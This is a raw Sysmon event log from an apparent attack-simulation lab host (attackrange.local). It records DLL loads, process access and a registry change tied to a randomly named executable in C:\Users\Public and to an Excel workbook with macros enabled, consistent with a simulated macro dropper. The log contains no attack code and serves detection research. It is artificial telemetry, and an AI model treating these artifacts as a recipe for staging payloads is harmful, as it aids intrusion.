734700x800000000000000049846Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.606{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 734700x800000000000000049845Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.606{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\wbem\wbemprox.dll10.0.14393.4169 (rs1_release.210107-1130)WMIMicrosoft® Windows® Operating SystemMicrosoft Corporationwbemprox.dllMD5=B7B56FAC395BEEDC20120FD0170A23A3,SHA256=7BDF579D7348D84F251A8411E40E14ADF9406F954914C1C4DE30E880DCF6CEB3,IMPHASH=96416B54C1F2E15EF294753DF1CB4131trueMicrosoft WindowsValid 734700x800000000000000049844Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.606{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\clbcatq.dll2001.12.10941.16384 (rs1_release.210107-1130)COM+ Configuration CatalogMicrosoft® Windows® Operating SystemMicrosoft CorporationCLBCATQ.DLLMD5=A82FB68F785E73141F5ABC91850595A8,SHA256=416DE0DA209CDCBE9B5D1A868CE972F8FE3399FF62E84EFD46D6FD49BDF7B7B2,IMPHASH=0BE8D1F061DD646F6D2B834CB7C9C900trueMicrosoft WindowsValid 10341000x800000000000000049843Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.606{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049842Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.606{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000049841Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.606{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000049840Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.606{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000049839Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.606{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000049838Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.606{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000049837Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.606{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000049836Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.606{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\framedynos.dll10.0.14393.4169 (rs1_release.210107-1130)WMI SDK Provider FrameworkMicrosoft® Windows® Operating SystemMicrosoft Corporationframedyn.dllMD5=F5BCBB0713FF862975B07056D25E166E,SHA256=DBB3B6E35E0FEF5B878DE8C85AF578B51C1C2DB025865354E27394AEA87824B2,IMPHASH=AB84E6F170EE70C2F0F5C709A85E872CtrueMicrosoft WindowsValid 734700x800000000000000049835Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.606{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000049834Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.590{7BD73061-728E-613B-580B-00000000F001}6456C:\Windows\System32\conhost.exeC:\Windows\WinSxS\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.14393.4169_none_7de0bbf28341b1f2\comctl32.dll6.10 (rs1_release.210107-1130)User Experience Controls LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationcomctl32.DLLMD5=FD486B6FA360ABE43E02E85F3164E9BE,SHA256=733922A216EC03FC6AA405205CD2F8BB81A39180F26839588B97F310E21071B5,IMPHASH=C3F4A4DA2950075F09DD008B60FF567CtrueMicrosoft WindowsValid 734700x800000000000000049833Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.575{7BD73061-728E-613B-580B-00000000F001}6456C:\Windows\System32\conhost.exeC:\Windows\System32\dwmapi.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft Desktop Window Manager APIMicrosoft® Windows® Operating SystemMicrosoft Corporationdwmapi.dllMD5=74621C6ABE4E9A568DF0A38E7282D71E,SHA256=0788A092D47800D0EB120A7DBB9E59234D0722A4A2E80ECE6CE70E3A84A3750A,IMPHASH=ADB9F71ACD4F7D3CF761AB6C59A7F1E5trueMicrosoft WindowsValid 23542300x800000000000000049832Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.575{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=4EC50F7D74BD299C5B9D9DB80B0B3ABC,SHA256=D0CD32410826BD17F0CAB760637CB25457D286B91A22740697499E4F15F790B7,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000049831Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.575{7BD73061-727B-613B-4A0B-00000000F001}62764656C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE{7BD73061-6D0E-613B-8906-00000000F001}3192C:\Windows\System32\rdpclip.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+52cbf|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+52c5a|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+52bd6|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+5259d|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+5f3b1|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+b0354|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+5b3dd|C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE+cc39|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049830Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.559{7BD73061-728E-613B-580B-00000000F001}6456C:\Windows\System32\conhost.exeC:\Windows\System32\msctf.dll10.0.14393.4530 (rs1_release.210705-0736)MSCTF Server DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationMSCTF.DLLMD5=E2374A214A9F0C8347C29EBDE3447986,SHA256=F2260FE7E0C4E92D49CF0F550E2A1B3D3F1D2D76E6F5C8F16B0E16B6117D9EE1,IMPHASH=EB898F83C3A5D6877A523BC64B41CB06trueMicrosoft WindowsValid 10341000x800000000000000049829Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.481{7BD73061-65B2-613B-1600-00000000F001}1296972C:\Windows\system32\svchost.exe{7BD73061-728E-613B-580B-00000000F001}6456C:\Windows\system32\conhost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+235b|c:\windows\system32\themeservice.dll+1ed0|c:\windows\system32\themeservice.dll+2006|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049828Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.481{7BD73061-65B2-613B-1600-00000000F001}12961324C:\Windows\system32\svchost.exe{7BD73061-728E-613B-580B-00000000F001}6456C:\Windows\system32\conhost.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+144a|c:\windows\system32\themeservice.dll+4175|c:\windows\system32\themeservice.dll+3379|c:\windows\system32\themeservice.dll+31a3|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049827Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.465{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\winmmbase.dll10.0.14393.0 (rs1_release.160715-1616)Base Multimedia Extension API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWINMMbase.DLLMD5=24C1E8F8C10471C5A6F0E8AF141211EB,SHA256=75ECAE23C920D81614BA5C0648377C2FC04C7379FD6A388C244A81F50AAB7B1C,IMPHASH=0B9A3C99AAFA99247F9E2BD866186AEAtrueMicrosoft WindowsValid 734700x800000000000000049826Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.465{7BD73061-728E-613B-580B-00000000F001}6456C:\Windows\System32\conhost.exeC:\Windows\System32\uxtheme.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft UxTheme LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationUxTheme.dllMD5=43AEE61AFABE70BFC876CC53D6A64E04,SHA256=8A4C893AEB075D3D9EFEC52E49CEF94471EB9F0A91BEB4C07DF38F8A48910C12,IMPHASH=67E6A4C8E164C0229E3FF1626F1894C6trueMicrosoft WindowsValid 13241300x800000000000000049825Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localContext,ProtectedModeExitOrMacrosUsedSetValue2021-09-10 14:58:22.465{7BD73061-727B-613B-4A0B-00000000F001}6276C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXEHKU\S-1-5-21-589020557-3528615288-1361562277-500\SOFTWARE\Microsoft\Office\16.0\Excel\Security\Trusted Documents\TrustRecords\file:///C:/Temp/My%20documents%20for%20Chris.xlsbBinary Data 734700x800000000000000049824Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.465{7BD73061-728E-613B-580B-00000000F001}6456C:\Windows\System32\conhost.exeC:\Windows\System32\profapi.dll10.0.14393.0 (rs1_release.160715-1616)User Profile Basic APIMicrosoft® Windows® Operating SystemMicrosoft CorporationPROFAPI.DLLMD5=0BC84513575743DA177F3DFE18D35CA7,SHA256=C40F6AA73073995E05E5379AE593A6617E8296C79A78BD7F716D95F98AE0D899,IMPHASH=9060609FCB6C4120D4517877408A4A46trueMicrosoft WindowsValid 734700x800000000000000049823Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.465{7BD73061-728E-613B-580B-00000000F001}6456C:\Windows\System32\conhost.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 734700x800000000000000049822Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.465{7BD73061-728E-613B-580B-00000000F001}6456C:\Windows\System32\conhost.exeC:\Windows\System32\shlwapi.dll10.0.14393.4169 (rs1_release.210107-1130)Shell Light-weight Utility LibraryMicrosoft® Windows® Operating SystemMicrosoft CorporationSHLWAPI.DLLMD5=F9E249B6BB80C06BA30A61854567796C,SHA256=E5F62CD5D2FE7BE8D4E029ECA004A8773FF8D1F7AB92C115810AD54B5B8F50CA,IMPHASH=9F3DE8492A7F075320A36332ACC9CAAFtrueMicrosoft WindowsValid 734700x800000000000000049821Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.465{7BD73061-728E-613B-580B-00000000F001}6456C:\Windows\System32\conhost.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000049820Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.450{7BD73061-728E-613B-580B-00000000F001}6456C:\Windows\System32\conhost.exeC:\Windows\System32\powrprof.dll10.0.14393.0 (rs1_release.160715-1616)Power Profile Helper DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationPOWRPROF.DLLMD5=C55F634054E45C0DEE47C254AE009928,SHA256=76EB0FCA87C3AD5FA1C46EB0AF88CF85E172525029E33F5DFC5645EF2EE6F575,IMPHASH=CBD4A2FD581B65B4B1934DA291FA2B86trueMicrosoft WindowsValid 734700x800000000000000049819Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.450{7BD73061-728E-613B-580B-00000000F001}6456C:\Windows\System32\conhost.exeC:\Windows\System32\windows.storage.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft WinRT Storage APIMicrosoft® Windows® Operating SystemMicrosoft CorporationWindows.Storage.dllMD5=1D7997E3AFC26B85024D33F835E18056,SHA256=B2376967E156D4971FB66059F6367030AF937943D2EBF80AF856E643B6E95BBF,IMPHASH=181A859176420BBB803F246C0E4B0889trueMicrosoft WindowsValid 734700x800000000000000049818Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.450{7BD73061-728E-613B-580B-00000000F001}6456C:\Windows\System32\conhost.exeC:\Windows\System32\cfgmgr32.dll10.0.14393.0 (rs1_release.160715-1616)Configuration Manager DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationCFGMGR32.DLLMD5=77BF2979C1A08EBA43C24FE0B7E547BE,SHA256=071E00374806E043A2E78E88C7FDDCE8F5983DE665DF41F3B3210660BF2EF704,IMPHASH=1835EBC72F9ADB09C6FCFABC04AC9C89trueMicrosoft WindowsValid 734700x800000000000000049817Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.450{7BD73061-728E-613B-580B-00000000F001}6456C:\Windows\System32\conhost.exeC:\Windows\System32\shell32.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Shell Common DllMicrosoft® Windows® Operating SystemMicrosoft CorporationSHELL32.DLLMD5=837B8644B9CE47EC28152E7D764886E0,SHA256=C5BA64473FB38E6B4592EAFA642AF82715CBC676190985D8D8D4150CE840044F,IMPHASH=2ED99A476E2DEFB78DF894322CB4A549trueMicrosoft WindowsValid 734700x800000000000000049816Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.450{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\root\Office16\WINWORD.EXEC:\Windows\System32\winmm.dll10.0.14393.0 (rs1_release.160715-1616)MCI API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWINMM.DLLMD5=F16410F5D557337B05CF4F93691EC106,SHA256=2B5BC3C0A6514356C6719298FC25D8D192A2C973EE3283EF48379D2745C9BD87,IMPHASH=9F0D37252D56D3F9E44E69CCC59B57AEtrueMicrosoft WindowsValid 10341000x800000000000000049815Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.450{7BD73061-728E-613B-580B-00000000F001}64563312C:\Windows\system32\conhost.exe{7BD73061-728E-613B-570B-00000000F001}4808C:\Users\Public\fewuhofe.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049814Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.435{7BD73061-728E-613B-580B-00000000F001}6456C:\Windows\System32\conhost.exeC:\Windows\System32\SHCore.dll10.0.14393.4169 (rs1_release.210107-1130)SHCOREMicrosoft® Windows® Operating SystemMicrosoft CorporationSHCORE.dllMD5=D287E1BC5A148E2BCB482DBD0E925738,SHA256=1C2428AD170165DD8DE960C835D9AAB5B268300A676FE935B177ED5D2607430D,IMPHASH=3C09BDCE2388320645D7656AE2AC744CtrueMicrosoft WindowsValid 734700x800000000000000049813Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.435{7BD73061-728E-613B-580B-00000000F001}6456C:\Windows\System32\conhost.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000049812Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.435{7BD73061-728E-613B-580B-00000000F001}6456C:\Windows\System32\conhost.exeC:\Windows\System32\propsys.dll7.0.14393.4169 (rs1_release.210107-1130)Microsoft Property SystemWindows® SearchMicrosoft Corporationpropsys.dllMD5=013D2BA96C261CDC62ECA7365E1C84D5,SHA256=26896478B6F1AF3756D5B1BB59BF2C6BE1C579B122CC882BAC35FEFB3EC3EE36,IMPHASH=FF25576501EAFD13671A6D5075C4513EtrueMicrosoft WindowsValid 734700x800000000000000049811Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.435{7BD73061-728E-613B-580B-00000000F001}6456C:\Windows\System32\conhost.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000049810Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.435{7BD73061-728E-613B-580B-00000000F001}6456C:\Windows\System32\conhost.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000049809Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.435{7BD73061-728E-613B-580B-00000000F001}6456C:\Windows\System32\conhost.exeC:\Windows\System32\imm32.dll10.0.14393.0 (rs1_release.160715-1616)Multi-User Windows IMM32 API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationimm32MD5=E1024CF2E35DD3467F52BC83F7FEDA3F,SHA256=59C87761AD509BD096C2F35257C2370FB94B95160CB63FB9E66DFD8210AB002A,IMPHASH=C852E8FD14D356C81F834E318EEAD7FAtrueMicrosoft WindowsValid 734700x800000000000000049808Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.435{7BD73061-728E-613B-580B-00000000F001}6456C:\Windows\System32\conhost.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000049807Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.435{7BD73061-728E-613B-580B-00000000F001}6456C:\Windows\System32\conhost.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000049806Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.435{7BD73061-728E-613B-580B-00000000F001}6456C:\Windows\System32\conhost.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000049805Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.435{7BD73061-728E-613B-580B-00000000F001}6456C:\Windows\System32\conhost.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000049804Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.435{7BD73061-728E-613B-580B-00000000F001}6456C:\Windows\System32\conhost.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000049803Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.435{7BD73061-728E-613B-580B-00000000F001}6456C:\Windows\System32\conhost.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000049802Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.435{7BD73061-728E-613B-580B-00000000F001}6456C:\Windows\System32\conhost.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000049801Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.435{7BD73061-728E-613B-580B-00000000F001}6456C:\Windows\System32\conhost.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000049800Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 